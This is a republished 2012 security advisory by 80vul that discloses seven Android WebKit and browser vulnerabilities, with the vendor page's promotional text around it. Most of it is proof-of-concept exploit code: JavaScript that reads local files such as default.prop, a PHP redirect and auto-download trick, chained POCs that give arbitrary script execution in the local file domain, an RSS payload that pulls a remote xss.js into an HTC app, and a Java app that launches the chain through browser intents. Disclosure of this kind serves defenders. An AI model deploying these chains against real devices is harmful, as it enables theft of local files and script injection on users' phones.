Lucene search
K

Android Webkit XSS / Cross Domain Issues

🗓️ 08 Feb 2012 00:00:00Reported by 80vulType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 33 Views

Android Webkit local cross-domain vulnerabilities and file protocol XS

Code
`Android Multiple Vulnerabilities  
  
Author: www.80vul.com [Email:5up3rh3i#gmail.com]  
Release Date: 2012/2/8  
References: http://www.80vul.com/android/android-0days.txt  
  
  
Ph4nt0m Webzine 0x06 has been  
released[http://www.80vul.com/webzine_0x06/],there  
three papers on the android application security about the development  
environment,browser security, inter-application communication.And published  
a lot of 0days:  
  
[0day-NO.0] android-webkit local cross-domain vulnerability  
  
android-webkit allow local html files cross any http domain and the local  
file.demo:  
  
<script>  
var request = false;  
if(window.XMLHttpRequest) {  
request = new XMLHttpRequest();  
if(request.overrideMimeType) {  
request.overrideMimeType('text/xml');  
}  
} else if(window.ActiveXObject) {  
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP',  
'Microsoft.XMLHTTP',  
'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0',  
'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];  
for(var i=0; i<versions.length; i++) {  
try {  
request = new ActiveXObject(versions[i]);  
} catch(e) {}  
}  
}  
  
xmlhttp=request;  
  
//xmlhttp.open("GET", "file://///default.prop", false);  
//xmlhttp.open("GET", "http://www.80vul.com/", false);  
xmlhttp.send(null);  
var ret = xmlhttp.responseText;  
  
alert(ret);  
</script>  
  
[0day-NO.1] android-webkit cross-protocol vulnerability  
  
this vul allow cross to the file protocol from http. demo:  
  
<iframe name=f src="location.php" ></iframe>  
<script>  
function init(){  
f.location = "file:///default.prop";  
}  
setTimeout(init,5000)  
</script>  
  
location.php codz:  
<?php  
header("Location:file:///80vul.com");  
?>  
  
[0day-NO.2] android-webkit file:// protocol xss vulnerability  
  
ON android-webkit File:// protocol, the lack of filtering on the directory  
and file name,Lead to cross-site scripting attacks. demo:  
  
visit this : file:///80vul.com/<script>alert(1);</script>  
  
[0day-NO.3] android-browser/firefox auto download the file vulnerability  
  
android-browser/firefox Handle the Content-Disposition: attachment, lack of  
safety tips.So through this vul allows users to automatically download the  
evil html file to the local directory.  
  
test this code:  
  
<?  
//autodown.php  
header("Content-Disposition: attachment:filename=autodown.htm");  
$data=<<<android_xss_go  
<script>alert(/xss/);</script>  
android_xss_go;  
print $data;  
?>  
  
the local file name and the path:  
  
android 1.x --> /sdcard/download/autodown.html  
android 2.x-3.x --> /sdcard/download/autodown.htm  
android 4.0 --> /sdcard/download/autodown.php  
firefox --> /sdcard/download/autodown.php  
  
So,Let's play a jigsaw puzzle:  
  
POC[1]:  
//[0day-NO.1]+[0day-NO.2]  
<iframe name=f src="location.php" ></iframe>  
<script>  
function init(){  
f.location = "file:///ssss<sc"+"ript>alert(1);</sc"+"ript>/";  
}  
setTimeout(init,5000)  
</script>  
  
POC[2]:  
//[0day-NO.1]+[0day-NO.3]  
<meta http-equiv="refresh" content="0;URL=autodown.php"/>  
<iframe name=f src="location.php" ></iframe>  
<script>  
function init(){  
f.location = "file:///sdcard/Download/autodown.htm";  
}  
setTimeout(init,5000)  
</script>  
  
Now ,We can execute arbitrary js code on the local domain, and we can cross  
any http domain and the local file used [0day-NO.0].  
  
and go on ...  
  
[0day-NO.4] webview.loadDataWithBaseURL() cross-protocol vulnerability  
  
By controlling the second argument of webview.loadDataWithBaseURL(),can  
cross the file:// protocol use javascript,like  
<script>window.location='file://///default.prop';</script> .so the dome apk  
demo:  
  
WebView webview;  
webview = (WebView) findViewById(R.id.webview);  
webview.getSettings().setJavaScriptEnabled(true);  
webview.setWebChromeClient(new WebChromeClient());  
String  
data="80vul<script>window.location='file://///default.prop';</script>";  
webview.loadDataWithBaseURL("http://www.baidu.com/", data,  
"text/html", "utf-8", null);  
  
  
[0day-NO.5] com.htc.googlereader XSS vulnerability  
  
com.htc.googlereader is an app on HTC Mobile [G10], there is a xss vul on  
this app, then Decompilation and Found this codz:  
  
label399: String str = this.mHeadlineShown.getSummary();  
if (str.trim().contains("<iframe"))  
{  
this.mWebView.loadData(str, "text/html", "utf-8");  
break label246;  
}  
this.mWebView.loadDataWithBaseURL("http://", str, "text/html",  
"utf-8", null);  
break label246;  
  
the "str" have no filter and can be controlled by evil RSS:  
  
  
<item>  
<guid>http://www.80vul.com</guid>  
<title>0day-NO.5</title>  
<link>http://www.80vul.com</link>  
<description><![CDATA[aa<script src='  
http://www.80vul.com/xss.js'></script>]]></description>  
<dc:creator>80vul</dc:creator>  
<category>anddoid</category>  
<pubDate>Sun, 04 Sep 2011 13:01:40 -0500</pubDate>  
</item>  
  
When opens the unread status of the rss, u can get the XSS vul. and this  
is mWebView.loadDataWithBaseURL(),so can cross file:// by [0day-NO.4].  
  
  
[0day-NO.6] Some Browsers for android Cross-Application Scripting  
Vulnerability  
  
the evil app can cross browser and execute arbitrary js code on the local  
domain. the demo app codz:  
  
//codz base on http://blog.watchfire.com/files/advisory-android-browser.pdf  
package com.x;  
//opera  
//com.opera.browser com.opera.Opera  
  
//firefox  
//org.mozilla.firefox org.mozilla.firefox.App  
  
//android  
//com.android.browser com.android.browser.BrowserActivity  
  
import android.app.Activity;  
import android.content.ComponentName;  
import android.content.Intent;  
import android.net.Uri;  
import android.os.Bundle;  
  
public class TesttestActivity extends Activity {  
static final String mPackage = "com.android.browser";  
static final String mClass = "com.android.browser.BrowserActivity";  
static final String gomPackage = "com.opera.browser";  
static final String gomClass = "com.opera.Opera";  
static final String mUrl = "http://www.80vul.com/autodown.php";  
static final int mSleep = 15000;  
@Override  
public void onCreate(Bundle savedInstanceState) {  
super.onCreate(savedInstanceState);  
setContentView(R.layout.main);  
startBrowserActivity(mUrl);  
try {  
Thread.sleep(mSleep);  
}  
catch (InterruptedException e) {}  
startBrowserActivitygo("file:///sdcard/Download/g.htm");  
}  
private void startBrowserActivity(String url) {  
Intent res = new Intent("android.intent.action.VIEW");  
res.setComponent(new ComponentName(mPackage,mClass));  
res.setData(Uri.parse(url));  
startActivity(res);  
}  
private void startBrowserActivitygo(String url) {  
Intent res = new Intent("android.intent.action.VIEW");  
res.setComponent(new ComponentName(gomPackage,gomClass));  
res.setData(Uri.parse(url));  
startActivity(res);  
}  
}  
  
hitest  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Feb 2012 00:00Current
7.4High risk
Vulners AI Score7.4
33